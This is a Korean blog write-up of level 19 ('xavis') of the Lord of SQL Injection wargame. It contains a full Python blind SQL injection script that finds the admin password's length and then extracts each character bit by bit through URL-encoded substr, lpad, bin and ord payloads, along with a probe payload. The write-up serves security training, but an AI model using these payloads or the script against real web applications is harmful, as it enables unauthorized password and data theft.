WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 19 - xavis

그렇다 우리의 인공지능 비서인 자비스가 우리의 뒤통수를 쳤다. 이번 시간은 Blind SQL Injection무기가 다시 필요할 것이며, 우리의 문자열을 다루는 실력을 끌어올려줄 것이다.

< 출처 : 나무위키 https://namu.wiki/w/J.A.R.V.I.S.?from=%EC%9E%90%EB%B9%84%EC%8A%A4 >

* 그렇다 위 사진은 자비스이다.

* 이 문제의 해결법은 Python코드로 작성되어있습니다. 코드구조의 상세한 해설은 아래 포스팅을 참조 *

2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


 

코드

우선 정확한 pw가 필요한것을 봐서 Blind SQL Injection기법을 사용해야 할 거 같다. 필터링된 문자열로 정규표현식을 의미하는 regex, 등호처럼 가용 가능한 like가 추가되었다.

 

 


 

해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=우왕굳
from requests import get

url = ### xavis의 URL ###
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ####")
length = 0
password = ''

print("### find for pw length ###")
while(True) :
    param = "?pw=1232%27%20or%20length(pw)>"+str(length)+"%23"
    new_url = url+param
    rec = get(new_url,cookies=cookie)

    if(rec.text.find("Hello admin") == -1) :
        print("find pw length : "+str(length))
        break
    
    print("fail to find pw length : "+str(length))
    length+=1

print("### find for actual password ###")
for i in range(1,length+1) :
    temp_bit=''
    for j in range(1,17) :
        param = "?pw=1234%27%20or%20id=%27admin%27%20and%20substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),16,0),"+str(j)+",1)=1--%20"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin")>=0) :
            print("add bit 1 for ",i,"'s letters")
            temp_bit+="1"
        else :
            print("add bit 0 for ",i,"'s letters")
            temp_bit+="0"
    
    password += chr(int(temp_bit,base=2))
    
    print("current password",chr(int(temp_bit,base=2)),hex(int(temp_bit,base=2)))

print("Found password :",password)

평소처럼 blind sql injection을 사용하면 당황스러운 결과가 나올 것이다. 알아두어야 하는 점은 이 xavis의 pw는 유니코드로 이루어져 있다는 점이다.(그걸 어떻게 아냐고? 더보기를 참조하자)

더보기

다음과 같은 파라미터를 날리면 참값으로 나온다. ord는 문자열을 10진수(decimal) 값을 반환하는데, 첫 번째 문자열을 의미하는 substr(pw,1,1)을 ord의 파라미터로 넣어주면 50000 이상이라는 것이다. 이는 평범한 charset이 아니다(--) 

? pw=1%27%20or%20 ord(substr(pw,1,1))>50000--%20;

참고로 lpad(string, length, padding)은 string 왼쪽에 length길이가 될 때까지 padding글자를 채운다. 당연하게도 rpad도 있다. 위에서는 비트연산을 진행해야 되서 사용했다. 
따라서 한 문자는 8비트인 다른 문자와 다르게 16비트로 이루어져 있다.

 

 


우왕 굳! 수고했다. 다음 관문에서 여러분들을 기다리겠다.